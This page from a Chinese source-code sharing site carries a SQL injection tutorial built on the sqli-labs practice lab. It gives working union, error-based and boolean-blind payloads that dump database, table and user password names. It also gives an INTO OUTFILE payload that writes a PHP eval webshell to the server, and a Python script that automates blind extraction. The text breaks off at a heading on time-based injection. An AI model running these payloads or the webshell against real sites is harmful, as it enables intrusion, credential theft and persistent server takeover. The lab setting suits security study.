欢迎来到258分享网,纯净的网络源码分享基地!

258资源分享网

全部作品
全部作品
网站源码
微信源码
素材特效
源码插件
视频教程
建站学院
热门搜索: 织梦  农业种植  农业  安全设置  官方
258资源分享 > 建站学院 > MYSQL教程 > sql注入判断流程(结合sqli-labs学习)

推荐下载

HTML5响应式自适应网咯设计

2020-05-12   浏览:740

高端HTML5响应式企业通用网

2020-05-06   浏览:521

html5响应式外贸网站英文版

2020-05-08   浏览:510

HTML5自适应律师工作室类网

2020-04-04   浏览:504

HTML5影视传媒文化公司类网

2020-05-12   浏览:500

sql注入判断流程(结合sqli-labs学习)

发布时间:2021-04-25  

sqls/6551.html">注入判断流程结合sqli-labs学习) 类型一

类型判断
?id=1 and 1=2 --+

如果返回结果正常,说明不是数字类型

and 为两方都为真才算争取

?id=1' --+ 显示不正常
?id=1') --+ 若显示正常,则该类型为字符注入,且以('')的方式闭合字符串,还有("")

--+ 是注释,因为浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用--+代替-- ,原因是+在URL被URL编码后会变成空格。

利用order by查看有多少列
?id=1 order by 1 --+
?id=1 order by 2 --+
... 一直到出现 Unknown column '行数' in 'order clause' 为止

小技巧:可以选择一个较大的数字来分组

查询数据库名
?id=-1' UNION SELECT 1, (SELECT GROUP_CONCAT(SCHEMA_NAME) from information_schema.schemata),3 --+

id=-1' 是为了后面的内容能够正确显示,若前面能直接查询,后面可能查询不完整

通过查询到的数据库名查看表名
?id= -1' union select 1,(select group_concat(schema_name) from information_schema.schemata), (select group_concat(table_name) from information_schema.tables where table_schema='数据库名') --+

利用表名爆破列名
?id =-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

整合信息
?id=-1' union select 1, (select group_concat(username) from security.users),(select group_concat(password) from security.users) --+

类型二 报错盲注

按照类型一无法判断是否有存在注入

不管如何注入都显示报错信息可尝试使用三种方式进行注入

floor函数(取整)
?id=1' and (select 1 from (select count(),concat(0x7e,database(),0x7e,floor(rand()2)) as a from information_schema.tables group by a)as b)limit 0,1--+

若返回 Subjectquery returns more than 1 row 可能是因为限制了返回的字符长度
0x7e 是符号‘~’的十六进制

限制64位

extractvalue函数
?id=1' and extractvalue(1,concat(0x7,(select database()),0x7e)) limit 0,1--+

select database() 可替换为其他查询语句
extractvalue(XML_document, XPath_string);

返回长度为32个字符长度

updatexml函数
?id=1' and updatexml(1,concat(0x3a,(select database())),1) limit 0,1--+

select database() 可替换为其他查询语句
updatexml(XML_document, XPath_string,new_value);

返回长度为32个字符长度

类型三 导出文件到本地,一句话木马

了解
file权限:数据库用户是否有权限向操作系统写入和读取已存在的权限
into outfile:服务器上一个可以写入文件的文件夹的完整路径

将结果保存在本地文件
?id=1')) union select 1,2,3 into outfile '有读取权限的路径\文件名.文件类型'; --+

注意使用''进行转义,即路径写为‘\’
不会覆盖已存在的文件名

尝试一句话木马
?id=1')) union selet 1,2,'<?php @eval($_post['test']); ?>' into outfile '有读取权限的路径\文件名.php'; --+

可尝试使用中国菜刀等软件

注意MySQL 5.7版本之后into outfile默认是禁用的,需要重新走一下初始化

在ini或者cnf初始化文件中加入初始化设定 secure_file_priv=''

类型四 布尔盲注

常用函数
1.1 mid(string,start,length)函数

string(必需)规定要返回其中一部分的字符串
start(必需)规定开始位置(起始值为1)
length(可选)要返回的字符数。如果省略,则mid()函数返回剩余文本

1.2 substr(string,start,length) 函数

string(必需)规定要返回其中一部分的字符串
start(必需)规定在字符串的何处开始
length(可选)规定被返回字符串的长度

1.3 left(string, length)函数

string(必需)规定要返回其中一部分的字符串
length(可选)规定被返回字符串的前length长度的字符

判断数据库名字长度
?id=1' and length(database())=8 --+

数据库字符串判断
?id=1' and left(database(),1)='字符串' --+

数据库第一个字符串是否等于'字符串'
数据库第二个字符串即,left(database(),1)='字符串',一般使用python脚本进行判断

import requests import os #此函数先判断数据库长度 def length(url,str): num = 1 while True: str_num = '%d' %num len_url = url + "' and (select length(database()) = " + str_num +")--+" response = requests.get(len_url) if str in response.text: print("数据库长度为:%s" %str_num) content(url,str,num) break else: num = num + 1 #此函数判断字符串具体的内容 def content(url,str,num): s = ['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'] con_num = 1 while con_num <= num: str_num = '%d' %con_num for i in s: con_url = url + "' and (select mid(database(),"+ str_num +",1)='"+ i +"')--+" response = requests.get(con_url) if str in response.text: fwrite(i) con_num = con_num + 1 #此函数对字符串的内容做记录并输出 def fwrite(i): # fp = open("cache.txt",'a') # fp.write(i) # fp.close() print(i) if __name__ == '__main__': url = "?id=1" response = requests.get(url) str = "You are in..........." if str in response.text: length(url,str) else: print("请输入正确的地址") 类型五 时间盲注